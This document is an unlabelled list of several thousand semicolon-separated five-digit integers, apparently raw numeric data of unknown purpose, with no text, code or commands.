52547;46885;14915;63880;39254;12541;13291;33993;30565;45621;37028;54862;41609;15969;26172;29316;62581;41086;61233;27026;65164;27025;42707;38367;29888;54288;24197;27224;64500;30492;46214;15551;10356;59752;30888;45781;58511;22924;32000;22251;60648;52545;29911;30510;47818;28089;11201;22250;20605;19569;61780;53248;31468;15377;44655;33137;57096;21992;25233;61809;41915;57359;22696;57766;11483;61751;44557;26971;49862;26850;17688;25541;39999;51684;23510;52354;27573;66912;44340;22921;52762;22407;38603;39081;51936;20797;57405;52293;22839;42770;55922;46875;55117;36655;17446;30950;49259;12843;26007;52145;11023;40167;41817;21213;42011;11767;36635;66141;25579;28336;66551;57298;38025;19558;44151;37476;17618;18545;50777;13901;30030;27301;52485;35678;12281;22264;11328;18513;40138;26881;27498;16781;22205;20807;55767;44120;60477;21164;47652;40175;53942;31086;28329;31826;54836;58940;66113;37595;15645;22313;54007;51449;21406;64954;52533;11532;16778;14675;63991;13114;11648;17610;61392;62003;66403;12892;55840;65383;42028;37162;27878;63011;35035;54705;39768;43973;51939;21751;63243;35727;16617;62672;12903;62600;38291;54767;42728;36837;15635;10676;53283;53841;20595;18359;63216;44293;40591;24666;57572;17209;33619;56418;56602;36195;32581;47357;56452;61009;12454;46775;18265;27889;56457;21824;20403;48628;45678;14054;55734;66050;10123;62173;11325;43432;55957;59689;46103;23280;33475;45888;43620;48627;36531;32807;41416;23019;66448;48855;14060;11802;44367;62591;57381;18533;19861;41511;24398;11059;65112;39390;48712;52161;48791;63103;49673;38211;56383;45949;53516;40951;52894;18288;58332;19424;51205;12954;23183;16517;29092;13832;61847;38252;46442;20599;63950;57681;15568;56739;58656;37691;36534;37834;39273;34191;19511;51575;30280;30305;16360;23987;48657;18157;14097;50835;11749;49539;65018;50416;33778;18006;41380;50696;57216;65214;48159;12810;41049;29230;31732;54784;39249;19867;54042;43950;20325;53675;18819;44472;31024;23556;39061;48868;51082;25901;44461;65474;40986;20291;54786;46132;64461;46548;59763;31257;23752;14697;54544;48410;54794;51158;31567;28309;56534;55832;50057;20435;34585;54570;16732;18777;44385;19534;34067;30213;37376;58669;66082;22723;60307;58719;46108;45958;24799;19800;47500;34676;11884;14728;13302;38786;19051;63945;20450;10814;63102;39701;27245;52780;16608;27402;13171;41529;13659;29999;49787;15606;21487;51197;64065;60879;25412;52922;57278;64195;47188;35555;38647;37634;39739;36598;55111;16295;50087;15828;32347;20999;33059;19281;66202;25874;21301;26086;62502;24342;17249;28532;34995;52090;37743;60916;41697;66377;17664;53811;60998;45337;65588;18896;25736;55735;24700;39924;30766;66602;29525;52243;36748;31751;55950;39326;16468;46217;53991;44456;37670;18112;62866;13006;40603;26589;28750;37714;47421;56903;15892;32651;19262;23213;54589;31381;19160;36755;11795;50488;61361;44302;63269;47065;16682;18836;52439;63850;30621;66466;20528;55058;33981;61828;24589;12257;58323;11772;60798;42067;11877;44872;13555;65115;61646;41651;58876;57730;57338;48626;38316;35346;57663;12628;31062;59780;53765;56519;26020;24434;50507;59051;32475;50555;45541;65785;30274;62103;59169;43797;52313;22086;40630;36458;64196;52014;20789;62949;36829;31705;22308;57916;22579;66698;26973;45522;43460;35277;36735;15536;55241;19860;25222;58824;17348;12279;48941;61214;30127;63649;22118;28487;48841;51406;50434;53605;44576;24074;66623;11938;22074;66501;31932;36014;38082;42224;65995;41027;39513;64919;36417;59217;20051;59175;20523;55105;44008;48772;65072;64689;31312;33512;27607;54499;10638;51049;58705;20665;44005;63420;14243;21063;47170;48386;38950;22934;65814;37079;25613;36882;19416;35003;37336;24930;32471;14545;22198;54015;64906;29487;59445;14130;34592;31925;50189;21207;57260;19364;33323;47707;14438;41254;40307;62040;66616;52970;49431;51557;34502;59913;12467;55200;39952;26006;18486;38216;60612;61535;49370;16695;15306;29649;45126;57972;22371;28692;57041;26676;51313;11039;15353;59264;46202;36349;12915;65753;34003;63220;18678;14023;58456;45235;16494;22037;16614;28323;32788;45430;53152;58545;55641;40807;31457;16834;29982;17037;19367;38486;64626;17129;54238;39568;30638;34650;46720;66320;34657;35343;42361;33522;40889;50754;62356;52292;27446;12806;19077;29515;28799;54431;46781;62421;32857;11620;30886;27240;57237;37483;62066;32114;22013;29973;51748;60584;28289;53365;24019;59546;31587;13527;59040;61982;62349;51657;52662;39028;33351;26962;36746;45609;43087;63129;16796;34315;35203;12423;28261;25959;56564;43358;41363;56324;35445;42936;29910;63231;65250;24638;12571;34135;52803;14035;51397;27929;56228;15550;51899;28905;58144;58854;26855;60509;27669;59578;52815;18708;18841;54446;58516;14256;38844;56703;66252;29016;35905;32445;35586;60166;27741;56378;62601;25295;20862;45416;44161;16194;23426;10087;65529;26820;50860;13819;55325;59462;36316;27756;61451;26039;15916;62298;53932;29905;51165;41409;41601;32486;33184;41006;24107;11910;45454;29842;25765;21629;45962;26784;63855;39304;28422;50258;52704;62514;64468;27451;62174;19655;60126;50092;17157;10051;56710;40638;59901;63061;42880;30377;15172;30739;49231;49436;22876;27422;14583;62730;27257;66260;40864;54923;35807;52232;53418;26418;37232;49714;32110;47892;21678;23929;45868;19683;51331;41038;29902;50575;52430;10035;66956;29817;35021;59100;15885;31162;56113;51892;66811;61523;27898;46117;42219;63723;17657;21293;24766;21319;56719;32505;46618;36116;56485;27049;62024;37928;16273;22938;60331;64047;44137;61676;27261;11473;62816;43327;52551;43831;26593;66304;35979;43356;53483;54936;34686;14232;27418;29977;28974;36412;16521;13266;58582;37475;64522;35181;15846;15117;38156;50996;20028;53794;38510;12043;65065;56977;63929;53526;23538;19197;30250;54566;48366;14025;15317;50598;59070;45308;32207;54162;36477;12440;34492;40082;60759;35891;56642;29297;56640;49772;32802;21995;25895;29736;19923;34516;23934;17695;45159;43350;30143;19235;12060;52758;18041;53162;17646;19856;38562;57262;15170;60515;16427;19290;43323;21613;41394;51639;46229;46041;29847;43131;30647;41435;10089;56301;44941;48550;26980;21903;29081;14589;22879;11430;24462;63761;43668;32369;14582;25977;30525;29304;52366;57830;13440;44823;17240;33464;45229;63479;48520;42962;29958;51638;57038;26836;54461;40297;58156;39604;55768;59197;25477;45783;35409;16267;46106;38341;19466;25353;61710;66960;46272;16136;19527;13068;59043;58509;25906;51877;23074;53438;31426;31367;43075;60047;53555;21014;42798;47290;28242;26993;26738;37437;12694;17380;20064;22825;54142;15456;52772;30970;59009;19820;58573;53954;18204;55603;38416;52729;40160;25428;28982;19448;35805;61219;61282;66279;63900;27802;64616;47458;58500;53196;40711;16343;27684;38226;28706;34201;18328;23574;14327;30226;41807;59225;58143;44466;14487;35747;59112;27836;21880;52975;17763;37385;23472;13117;27633;20850;20442;33796;49950;47232;54643;54245;16303;34613;58346;34216;60366;53751;64677;64779;21133;27291;57833;36178;18143;44485;18480;56972;32824;27217;65440;48188;32783;31412;46983;25326;31145;66308;52558;20173;62736;21893;60801;54289;52555;13456;19019;30520;36213;62898;48882;23591;51757;11403;17705;29906;49371;55942;56733;23910;11509;20454;17971;45076;26223;40453;35255;52216;65662;49183;16183;17662;25475;18584;19971;46477;12397;14027;20559;36279;16216;54027;46498;59246;58749;23873;40174;50619;24032;18094;54773;48713;34002;30057;26080;53319;66800;65270;43885;59554;53749;45924;15174;50053;59668;22030;40917;66122;51767;27510;23486;37462;50035;56210;22379;40601;58487;14608;12797;14613;55124;44249;35770;39704;65578;16278;59516;55416;52694;12272;44271;39315;11289;56563;61682;43064;49528;59302;61903;23540;51172;35702;65989;17760;60949;34304;24470;50225;29811;66311;46874;21009;34907;32069;59634;42203;40218;54050;30813;42091;46927;54078;57494;63347;47225;40759;14740;42811;21447;43540;66399;19553;28875;32617;41799;12404;51857;29944;59993;53397;26677;23638;61450;56970;16229;19106;54500;36009;63503;44019;60185;35676;41966;17391;38480;20122;60652;41742;61855;13632;32511;39466;41246;16667;24647;43642;55284;36838;33688;34594;43347;38893;53352;40362;50321;51444;25747;51681;42229;13994;23040;10347;20948;46149;30251;61055;52856;59795;10810;16628;65413;65793;24734;41016;32574;11197;22759;11632;20715;29784;19960;61077;58903;20328;30303;29831;52025;10382;25141;15785;28132;62727;57768;57230;16919;54787;27282;11793;52624;40113;12596;66095;19102;65581;25100;38004;63718;17329;60380;42845;14139;10507;37792;62244;39050;63611;59281;57255;64650;60886;65419;45706;14937;44070;20929;21554;56112;16816;30081;58536;34358;13642;38040;13189;60706;24669;55350;33002;55442;12887;64261;15552;59713;55788;52665;11762;55383;35209;50469;59334;21882;14768;35913;51520;58538;24282;27074;53673;33403;36978;48753;17605;47634;11243;35733;50593;12747;39823;53263;13344;63068;56264;15938;12838;53988;12370;66671;44442;41748;20982;37035;11184;12278;28053;38454;17399;59999;44085;61557;46826;47101;43772;65744;26139;37593;23699;16191;35460;64343;43496;44054;57604;37341;46291;57655;44334;20859;48305;47587;56265;15776;51498;63106;14224;27894;56496;62453;21630;63444;28014;15703;56615;52631;57488;44970;35308;30549;25992;43663;32296;56154;15724;20672;55863;48686;35817;64766;12724;15948;59645;63628;52614;14831;38232;29280;21786;61412;40069;63846;45043;45925;17835;14435;13357;10386;18717;15959;65021;44195;10829;36881;40643;49813;55151;44262;44568;10771;45729;22260;42076;43452;32291;31890;63842;47281;50870;34450;15185;46403;35721;62162;35658;38705;25826;55612;52178;40142;21426;17373;20466;62918;27477;35251;35684;23865;47168;26950;43562;37301;59896;21488;12449;22748;20821;20221;55563;61878;25048;54340;48866;66475;59861;13277;14654;22577;22607;32899;15745;66593;53845;42280;44854;19942;64915;14603;62343;50832;12995;27963;54154;17140;62416;60108;21902;57395;20422;14192;52276;25331;23383;13238;36282;23305;55394;49522;42526;45292;18037;30614;55061;54990;19684;36752;45512;32528;21485;17280;11114;21612;33156;18451;14110;49781;19115;27795;64643;42685;34760;45801;39901;52214;21046;24396;62733;28559;41187;22692;14396;16032;62200;34581;11043;19522;35441;62278;24684;64213;18652;42429;39485;42055;29325;28814;19491;21732;24639;54984;19580;52336;15548;17016;53346;65378;52369;10435;32431;48623;11007;48566;63188;44348;37314;19103;57949;24522;38508;27008;62927;57212;60504;54459;18363;48532;43000;10945;25350;42834;51101;66298;47870;28813;11355;31535;46480;32949;54164;55560;35883;27822;62971;26885;34915;37602;55824;61078;45053;28821;52859;54167;36338;30513;52974;10411;14508;29018;36571;66902;30225;38937;66099;62919;63132;39105;37047;50727;47117;15148;55673;36336;18460;43709;35352;65109;24449;64891;63711;54899;60673;20832;66323;31543;30909;27514;36048;52731;24697;43475;31185;61410;16584;64558;53217;65492;45883;51048;30404;25338;59849;34166;26308;31600;60728;61944;46789;39378;10572;56020;37360;27981;51986;15111;49838;62986;40846;35052;58611;21484;47393;62436;44394;48952;45727;65122;18321;57883;54422;53807;12808;28419;21043;57007;16961;14742;31009;19696;60558;62742;22612;15233;12975;11652;41224;22554;21955;59185;46844;60548;34410;27721;42461;38498;29354;58827;13370;36408;59991;23409;42340;58212;56619;44893;35250;13758;50109;35223;36385;47326;42331;50910;16588;45903;65612;40860;56307;28279;11000;36894;18376;39084;16900;16966;50344;20813;54463;23144;40719;25264;16861;13751;38668;18115;57628;19430;24367;17127;56579;55580;24212;58253;28634;52257;66592;19419;35057;41823;42325;45538;60194;26189;48870;35760;63270;47719;40751;11398;47481;32020;66257;52918;45327;11788;44692;28445;19693;18661;15435;59734;54792;29183;33531;30978;29558;52976;23076;28689;12658;12380;49310;17543;60956;54017;16814;63283;40716;66867;30457;35340;19692;25857;27267;63135;17711;43250;12614;22742;36854;14373;60454;46805;50548;63346;16820;31584;26841;45669;36333;40137;48606;30218;30911;54281;64694;38286;22214;26716;44835;44203;20273;28008;22615;62526;19487;65899;50604;36151;32249;46188;64869;33014;55868;32628;56514;66048;48318;64138;18809;14868;57578;52271;23313;17661;57533;51438;15099;64879;22690;55611;13457;55153;24746;66590;64806;53745;19872;14819;15052;19540;22902;40429;57624;55968;31244;43371;42604;21098;16342;43408;35508;15211;13205;58933;16417;11024;64438;42301;14086;19404;19164;53912;30719;37516;40748;20369;41604;33555;53509;53949;66310;38132;30752;45193;46583;18613;56628;38666;34667;42054;65571;23052;62804;61066;57674;44324;36047;19647;34887;30151;13567;23541;50373;55452;40158;27757;35937;37495;31955;27115;13860;36560;61581;28677;27176;13975;10249;61452;26198;59033;36215;35476;11041;21794;33107;48921;40249;41025;33862;56899;23798;31531;36272;11264;29852;34545;54389;13414;64972;61949;21537;58061;56955;65333;25500;16149;12665;36066;66235;32631;15853;20236;52984;53161;20238;16566;50001;21289;12555;41847;55839;19523;40141;22757;18361;30863;57160;41093;60323;63236;60511;11565;63767;37371;64811;30784;27525;35694;66840;13348;25730;32549;32556;16754;21230;48739;31902;15017;37274;14047;40895;50153;16736;46882;18140;43851;62077;58277;10387;26092;18520;51056;34170;28483;38532;12402;44668;15217;18053;47390;16097;40812;60905;56765;52289;53336;35616;33214;16350;54693;36669;38726;31820;41524;51726;44996;59471;32761;62233;36305;36415;17672;62002;48409;39945;65262;44350;53931;46200;62594;26169;21313;50074;33998;23676;58056;23593;46027;15747;52522;53627;43564;19850;57115;25834;62557;21109;17766;17107;30862;45326;60593;23681;11137;19628;55507;35205;35959;14807;33480;23015;58467;29153;52986;40960;39613;38274;53681;56541;19365;46073;55469;34652;29104;40902;57443;41527;20930;13343;39019;66524;39147;29593;17687;62352;54385;44524;22780;46631;28100;51714;41981;64199;39957;28721;35744;34991;26766;20879;32413;25943;25692;40001;28951;31290;28944;62787;40066;40016;48541;62607;42820;59954;30026;22155;31339;27961;37337;53667;31572;29667;63162;37355;62913;63408;43945;39306;21458;64319;26547;12526;45255;13003;31919;42385;24246;63999;26704;25248;22563;26726;66526;59922;64321;14284;20026;51546;47819;65491;43835;65147;55401;56978;48157;25813;55974;10794;28401;60184;14011;17638;16206;63142;21029;60231;18079;50503;43343;17561;33391;30082;37863;30546;50027;29353;10711;64857;15827;15869;66504;47198;21917;14195;23379;46461;15057;16902;23271;53784;31847;64914;50066;29404;16525;45276;56313;13336;37814;63501;13640;48914;65776;56304;21759;47333;39563;33732;28402;48947;12318;11415;12886;54607;44991;28127;48389;61871;44052;44537;40217;54619;35715;51493;35333;60439;34442;31253;51162;49715;13188;41485;64535;28906;46630;22669;35318;56259;42282;37176;30219;33904;61890;21963;13960;50898;31382;17746;17372;61396;17120;37856;63268;30562;54944;25670;65349;37304;49916;44775;45373;61072;66108;49021;50621;16125;36046;24762;29802;41933;17161;48745;66486;34703;44646;13729;51263;19736;41978;38292;52184;21415;26394;52058;31200;66456;12522;46154;41061;24585;58197;20334;13218;17313;46610;16824;33568;30131;33817;42582;27192;39824;53992;57996;40586;62096;51871;49017;44607;35208;40483;25032;21758;10419;48818;49939;52087;53670;12776;64333;41122;14214;34797;49739;34513;32407;66695;42713;32364;61698;15940;50851;57125;36926;32177;12733;41347;26791;49195;65918;31683;40752;53574;59858;40808;52104;17525;56744;11402;61525;60245;15262;52698;59392;15166;44477;28331;30569;33788;57453;10096;18398;57245;41432;60685;47160;12916;60517;13909;20115;50608;50497;15405;12269;53823;17087;13743;21550;35981;31061;55475;28427;19213;40165;14738;45114;37111;56144;19821;61806;36242;18372;22731;24325;34631;36207;37084;13880;63743;31737;25980;38833;15421;32650;36386;45933;64387;22497;21994;42131;26268;43986;66104;41352;55892;62972;62308;47443;20724;31972;57722;25259;16442;23544;24623;63079;51492;17692;19922;22091;34967;10657;18146;59214;50892;18383;16753;10001;64783;59903;12741;38186;24051;22730;37597;65131;51068;22157;35749;62109;58275;56163;54039;56078;28320;18055;58728;23655;52036;12466;19432;48597;27318;37220;44782;24932;34394;40502;52388;66733;53285;53453;29574;51167;10227;46460;56202;40331;16253;11084;13672;54986;44828;21823;60027;62425;16300;30645;26847;58729;35714;59137;31515;46261;11226;47820;21056;15875;25330;45192;51521;52715;58293;11035;15442;32294;25129;61632;61608;54639;41513;32088;51800;12796;36106;47132;51771;24106;34737;54966;13646;34126;60076;55342;15566;31321;20473;32112;24610;57650;16145;38648;28712;52222;28504;37907;27609;61238;60219;53741;57632;30177;17408;65774;41787;15930;59786;62832;38491;48190;16406;46371;66822;25524;57666;51096;36957;49427;37228;49248;53118;62558;46392;32329;30115;46776;64796;51461;53445;30620;12946;11381;17798;31810;32343;12052;57990;43806;16083;15445;35931;25314;53934;15900;33032;33767;27370;19646;64592;40529;28169;33445;35962;25756;47123;45473;59096;26795;16812;13545;61702;48929;52378;36797;66327;26664;62361;41757;34702;31672;38214;42900;55999;10471;11774;52868;10114;45115;10149;48714;32633;30259;50763;39849;61358;60971;13989;44387;60622;64962;50151;27880;56370;25450;38663;14323;24769;40686;26088;55431;17807;35784;28622;56242;46591;36550;33738;62292;25880;54830;46054;53616;39124;57046;44766;40406;36123;19829;43993;26875;59949;13163;43976;50268;15584;42648;32806;39336;38361;65747;11696;35075;16965;65267;27186;36539;54044;20382;18179;41561;22274;65421;59176;21195;61321;30711;30440;39492;35930;52548;56325;61592;16497;37842;42852;52754;56477;19583;29535;66463;33402;30554;48254;53304;44896;11113;57063;35941;13984;39049;23380;46088;61719;54945;52332;32076;46821;35778;23443;28392;46677;19386;20643;16111;22637;19853;46495;35297;22917;57553;16355;50459;38882;42253;50534;22907;14959;13094;31509;41760;36595;38830;56939;66253;28202;12629;25822;19393;25984;34139;47491;58123;25502;34374;20292;46654;53680;56911;22259;53261;16067;56826;25617;34733;55575;60270;59515;41382;16133;42836;44225;47791;53134;34417;39612;36376;56555;58496;55524;28318;46995;46066;16648;32358;55295;32245;21866;44966;32827;66936;13047;33667;30788;33749;19643;11807;19174;44493;29152;59317;57525;49678;24163;54805;49761;46193;51353;50820;24456;41200;11538;57474;63433;23166;62579;23791;55842;16916;50402;41848;24545;24885;62642;34649;17597;41417;62212;65468;11504;11573;37689;56262;18052;30400;10368;21089;16578;19067;12029;31419;14481;65527;52066;22496;23585;10884;65892;56690;24650;49460;23047;52155;64729;10042;45167;15464;30350;33753;20944;55763;24404;25715;31347;37640;45731;41474;55943;50208;18117;52529;65672;52587;12755;63232;54719;42632;31493;49249;39954;25337;26458;19832;37972;66112;41676;10157;35216;35221;10349;58919;48664;45954;12918;26765;44954;56060;36179;11014;25012;33039;50880;27048;16922;49501;31105;46831;44989;28418;39874;65174;11012;28475;61369;38662;31074;34250;41373;62135;54921;62650;64337;62231;41333;41075;50676;63509;30351;10767;49025;60444;57413;62344;55471;37248;66974;36569;36084;32730;30518;33097;59511;55816;10062;13601;41818;43536;21059;60666;66213;20766;15437;28629;61334;10803;44165;19675;53006;19935;52627;18070;13559;49032;35393;18156;38850;10132;37755;64701;19427;45146;57719;61149;15910;49462;42617;38351;13233;33049;20335;14767;55301;48149;37746;52055;15610;63978;60912;51000;60073;36754;10950;58747;38853;53569;16950;17098;30763;58302;39108;11780;49542;22107;23592;16152;10785;57280;15315;29685;46756;62288;17641;49027;55728;30392;44721;10631;37974;17795;43117;16166;17769;22445;47328;55254;60982;21774;44849;35123;29556;46418;18853;57920;51008;47665;60991;66844;21413;22120;61861;42436;48783;20660;48849;63790;29799;57653;64429;49072;16958;35735;29881;15272;66314;63094;12556;44787;53121;52267;47030;59587;42808;23167;18989;63654;40337;63875;50990;35260;57291;23893;38019;58266;27893;53961;51398;56656;56034;42812;35329;44158;14529;29047;54701;58425;27734;49804;42821;28834;65691;25371;20987;58913;16528;54176;45672;17006;57747;41917;12494;33783;62335;55633;18418;52139;28839;29886;23995;27231;33229;14459;55561;10129;16435;63160;46346;62203;18065;10080;28037;38369;31755;27499;34841;21148;34589;51207;16382;52747;54121;63361;53566;53192;40380;17255;44886;31117;43285;63113;53378;19648;51553;19566;14922;36722;11102;60034;39602;20808;29794;60443;41792;41331;23384;21619;59156;46766;18445;46646;24062;23957;53412;32165;52247;51565;55144;50882;47545;55222;32585;32352;65339;26770;58862;60935;18245;57736;55515;46199;12896;47314;41289;37983;20068;49844;24582;31941;26821;32374;38360;45793;17015;66212;38089;53691;56584;49530;24531;44068;20063;42555;51284;60290;56772;60387;52620;15494;26409;57945;57373;51539;38969;10167;58849;42287;27868;22981;14115;32447;29387;65649;16352;59412;29919;44145;39899;15344;63267;41451;37964;43322;16784;46928;47118;59969;34488;65513;63280;30668;57906;39004;57418;47742;38026;40394;40659;10731;64412;61756;22543;64347;59821;59703;48491;59994;30571;53552;36339;28194;47268;39475;44530;56585;33693;52380;59998;45066;20714;62664;19193;22559;53830;46588;29602;52375;17586;63691;25409;21503;38271;57204;61606;11208;65780;54400;46944;66621;48303;45127;36770;65595;34875;16609;12908;28983;22068;61792;12764;64477;29814;30171;47854;13040;16129;51439;50350;24221;31311;65445;16819;59347;66312;61797;58674;26947;52447;47126;59127;16498;57727;53499;49767;66265;22153;52730;43694;36497;22586;49194;28000;14381;55142;17231;40847;61738;45060;35677;46143;38317;31861;50342;38553;47425;53328;28873;31439;12411;43638;39229;30384;42680;27134;16239;59415;61757;48226;46727;49307;63982;22294;35792;60356;15820;45911;10308;48946;11217;24484;64366;59044;59398;64685;50292;40619;14880;56981;65501;31387;10888;49395;65884;42387;27039;42943;46355;39673;65534;24225;60046;27565;56435;14981;10039;36315;38169;64835;66775;55022;57341;62695;39556;61773;11824;35668;33966;40890;55007;47691;65392;18739;41480;38171;47300;40081;58558;35361;35651;62437;56436;55543;34471;58003;59191;28461;15294;33196;43793;23038;12945;23318;60481;29147;22714;24952;57992;51043;25762;31219;42854;60077;61911;39758;45364;20458;42601;31871;53482;32018;61312;34424;17712;53257;47855;49895;62586;44975;40857;21281;49024;30105;32372;36995;14185;21934;53005;28267;10608;25272;27069;55940;17178;29818;30528;64647;51355;15119;10636;35940;13478;30342;37352;32083;10760;54838;17768;38872;45907;38055;39626;30755;43090;44211;46093;36643;13565;55363;17980;64370;30029;53202;45964;30267;33797;24067;37300;46987;38671;36689;65885;20804;15592;30096;64027;18262;29597;11608;26396;35177;29275;29757;40368;19636;59614;21163;50222;14449;26878;51206;51109;38110;28986;22505;47114;30198;42749;54474;12725;27139;16989;52835;15564;17321;33400;50253;40434;14304;38715;16272;11091;21462;36322;50451;46842;42236;18336;42773;53635;40501;52284;41033;28298;26328;59680;43730;37021;44268;52659;41191;54019;39362;14159;31708;58418;16996;33589;34101;59490;34181;61341;27194;65509;14326;41534;31914;45497;19357;49742;27793;52488;25536;31771;61841;41464;54850;25436;24724;24146;20565;27325;57670;48405;34444;27128;42504;45005;27674;57172;34211;43419;28948;23727;14924;63943;15978;38934;45807;23476;16772;45206;19703;39864;23894;53799;29056;19896;44176;46354;54125;47888;34491;22561;38103;40701;55225;31289;27782;46873;55359;21595;16522;58527;35339;31376;63245;49150;65651;36576;24211;65494;64481;64303;56546;60948;38616;46170;51279;57498;62250;27380;53055;19874;10897;34458;52902;25919;10933;33609;29698;66892;11562;38006;22182;54762;43677;21418;42758;28263;27273;30499;11503;50009;51524;23284;29904;24862;11819;49927;24299;30345;53776;20931;46970;35317;48927;10030;35351;52149;34081;15361;66901;23870;60804;17690;30355;55154;25489;10065;13079;30894;27811;29939;39789;36904;53498;19909;53875;59034;47286;38660;34069;36238;29044;25395;53503;54222;11634;31716;31352;55642;55797;14976;17023;16068;30369;14183;27206;40150;31177;54537;63874;15932;26590;36705;56624;59800;23905;41754;56961;60457;40306;33968;10376;34028;26907;51838;19878;18102;39734;17697;15926;54130;52721;10147;10459;33296;28985;60817;29711;60639;32647;52908;25974;31539;17673;16689;35334;15919;18984;64275;52263;64934;31041;10095;51947;31595;22740;37012;42207;17135;46254;39008;31989;62510;42480;45947;21695;58430;43646;43647;47807;62071;55326;46292;21023;51450;38775;22519;13521;51067;27089;31836;13915;30473;33559;47808;31229;22375;58703;45458;52405;27160;66135;34157;65910;14142;50486;12505;43750;14928;21813;24698;54615;56458;43632;19599;42877;37063;13176;35030;23499;60542;18263;18716;11663;56004;12234;46604;35990;13615;29583;39866;25767;42421;58564;64354;17564;26367;24628;46089;47249;37081;44496;38736;32681;39232;22463;12874;59463;40117;51180;39068;66700;24807;13504;53858;61967;38310;30605;19331;11308;47058;39397;29367;50453;50576;16082;46518;27268;57114;64776;26610;13744;20411;40832;10041;26306;42967;17022;24611;13354;25243;54390;27152;64883;18484;53848;34979;66205;17186;28866;19506;10532;36751;62088;26385;22436;22069;12767;24223;47463;30789;53175;11947;42528;25875;17154;48342;61315;60927;47694;65938;12110;30608;61416;15730;26024;62934;39338;34574;32917;30550;42803;30811;46011;61075;51394;66716;26103;43517;64053;64432;53965;51558;56713;61195;25021;35641;34721;57266;37216;42288;56874;51522;40749;50131;31913;27563;38695;35785;56399;51144;54049;11533;47183;26632;60391;55600;35357;46385;39889;50842;26236;57108;29569;48858;57384;38677;46469;29638;21841;20633;66749;66835;44621;64042;40636;49375;32487;61775;29661;55333;36193;30016;48464;52996;55923;22726;29810;60552;61873;60121;56201;26668;14665;29453;56875;20462;28625;38205;17146;53708;53650;17223;11090;66453;12973;32419;49849;14048;10987;35849;11254;43313;44717;38229;13210;22239;39946;26207;19801;16175;39697;15298;44147;28494;59129;12840;44074;27391;15235;34112;64852;10468;61511;15714;17682;46731;29190;49766;31266;61552;60125;19437;14895;24710;61597;22263;36144;38183;18820;60799;20077;12395;56223;32900;58807;15257;22855;56031;18236;18040;45490;13894;66070;17556;52537;22511;38485;45399;31761;54478;29737;33722;42088;36197;49331;35379;16789;22440;46305;40722;53085;50234;15267;20146;25050;27660;65224;59985;12486;18677;55131;34871;37934;45857;30617;53191;14555;54433;66712;58752;59655;46627;31334;26384;41216;53978;58352;56531;63448;24838;37785;21061;24707;22982;26364;26307;33869;15782;62132;33194;46526;47824;61180;59548;12831;16131;55614;39038;24499;64004;19546;48325;65956;61199;13194;25452;34207;46035;26502;65770;18551;44490;27887;48875;26667;21709;28046;46390;64013;32822;14841;36814;59971;63348;45514;16794;39059;62100;29192;15341;64918;12107;61913;24079;61504;14586;55494;20150;16214;22694;23307;14547;34914;34152;66738;56348;29450;56320;66517;45945;26657;43710;52563;46608;34763;49894;34975;12014;30449;40200;26144;63182;24084;60462;24927;10060;11315;58216;56583;37687;52355;24521;12566;21037;21958;48959;31303;14220;58865;34727;45009;55976;37344;59848;54839;52195;19286;44950;51004;11481;50191;38202;19241;29652;28890;64986;62945;21580;41791;38822;44227;35169;25443;22039;32090;31036;49983;62685;36535;37737;31529;22853;14400;29454;14156;21787;40339;39197;64492;66359;50142;49101;21041;30505;64813;63100;42761;25760;30781;18404;46899;54968;34226;20322;51088;27243;52436;19694;63513;26800;45898;47521;32093;17686;42894;60919;59256;36676;50392;41060;29113;21653;14702;56233;49855;31762;62885;41681;58334;20857;13445;16182;24113;24356;13237;43009;42473;46212;31196;11135;17576;55841;43621;64445;15059;44341;31134;61640;22584;51018;17138;21680;12909;62548;28770;60105;58262;50476;20710;59240;21797;32216;42904;45184;45851;57671;35012;65310;43697;24653;48255;26711;30161;45658;66306;33363;18042;56900;35819;26426;36516;60318;12529;42360;31906;53803;36723;65202;14946;19155;16260;66717;14830;60129;30132;17790;24519;37015;56344;49607;44059;12621;63087;42408;38469;25208;50500;13469;24023;16270;57814;14231;42712;45762;36284;55905;59616;18629;21008;63121;49657;36394;21572;33290;19127;53718;32516;14645;13353;36089;49010;65766;19879;57790;20575;16485;19455;41897;25256;40474;26768;51867;64256;39512;45352;15705;55648;38143;38357;54814;59234;55169;22746;55446;64584;64356;61087;24912;41095;56952;10186;25678;23986;50381;58764;52150;38896;34909;63485;34413;16115;39605;45788;35764;65936;51996;14148;59198;20698;46192;42710;63995;10953;36908;45687;28434;66150;34668;28342;44773;14576;15715;27773;18756;62413;27671;42388;34496;27239;56631;40210;63286;48708;61102;22606;19563;49922;11806;64607;37181;30423;27169;32529;20110;55857;24574;16477;44014;29760;54268;44369;20540;36749;60610;65206;19024;50920;23567;38870;44310;25714;46195;46793;13216;66535;43134;21957;25903;37292;50560;22799;39401;31591;31530;62617;20191;11265;21374;21616;13626;44080;57254;25442;26322;63474;51349;13669;44431;17747;53906;65503;56358;32932;51825;57137;55038;29676;41839;39203;24774;41396;53375;32309;21725;28787;66713;11361;27712;20619;56831;47493;20955;65247;16792;18509;13358;10165;31652;61406;40407;31924;63350;52261;60390;62261;53477;37244;26616;15181;31881;24191;25716;47501;61649;39846;21964;60636;14242;31895;25953;54896;65801;39211;37197;48611;65238;17443;64598;45835;62366;14389;42270;32253;55164;43597;32683;30419;43339;66230;17469;64088;12334;64943;58126;13522;38398;16158;18158;49167;24168;34843;47785;28162;27195;66847;51766;47743;61966;39343;51280;60201;52199;38359;22067;57909;26506;39389;49244;30387;31828;12753;50351;23931;19131;28365;16187;33614;61322;54188;47795;42197;10131;17614;30714;47235;56412;41882;28727;41971;21557;39804;11105;23632;16537;23935;66437;18235;32135;47492;20664;47750;33022;53494;61732;35527;38024;24861;36714;50155;16020;52797;61359;30306;44814;42391;57969;11900;30872;62806;13526;16017;40907;50060;55819;65775;54629;25927;61565;65103;12559;14564;41836;34340;48258;65146;64205;29670;20153;54785;24387;48842;31308;30871;63111;48406;30122;27980;50300;18625;20578;32147;38458;25886;29518;10342;20902;40717;64894;12442;25632;39949;22666;50895;48633;52871;51054;23345;25282;29269;25958;15285;11414;53970;52442;44739;62164;23973;62993;40776;26740;65807;49992;12676;37548;13468;20734;60764;19663;41654;39332;55898;58918;33576;41574;36344;10315;61807;46567;17411;37643;40073;66090;30241;12260;49354;58276;49092;23734;21838;28063;55554;23139;48341;32894;25801;56598;58384;40854;10281;50957;43823;39986;37131;23147;25663;63836;43167;12801;60309;11616;29455;46868;20693;15237;27277;23217;52941;63366;64290;65417;38788;47474;34973;53779;38175;17263;58474;61609;39642;50038;54898;45409;58615;35712;15908;55713;42343;34666;31313;63634;48757;62632;63644;58321;23546;42046;25638;56910;46191;19622;62068;41020;17381;13732;15694;32282;57372;39327;66710;42018;60029;38911;32450;18802;35956;10155;23382;37879;20060;22255;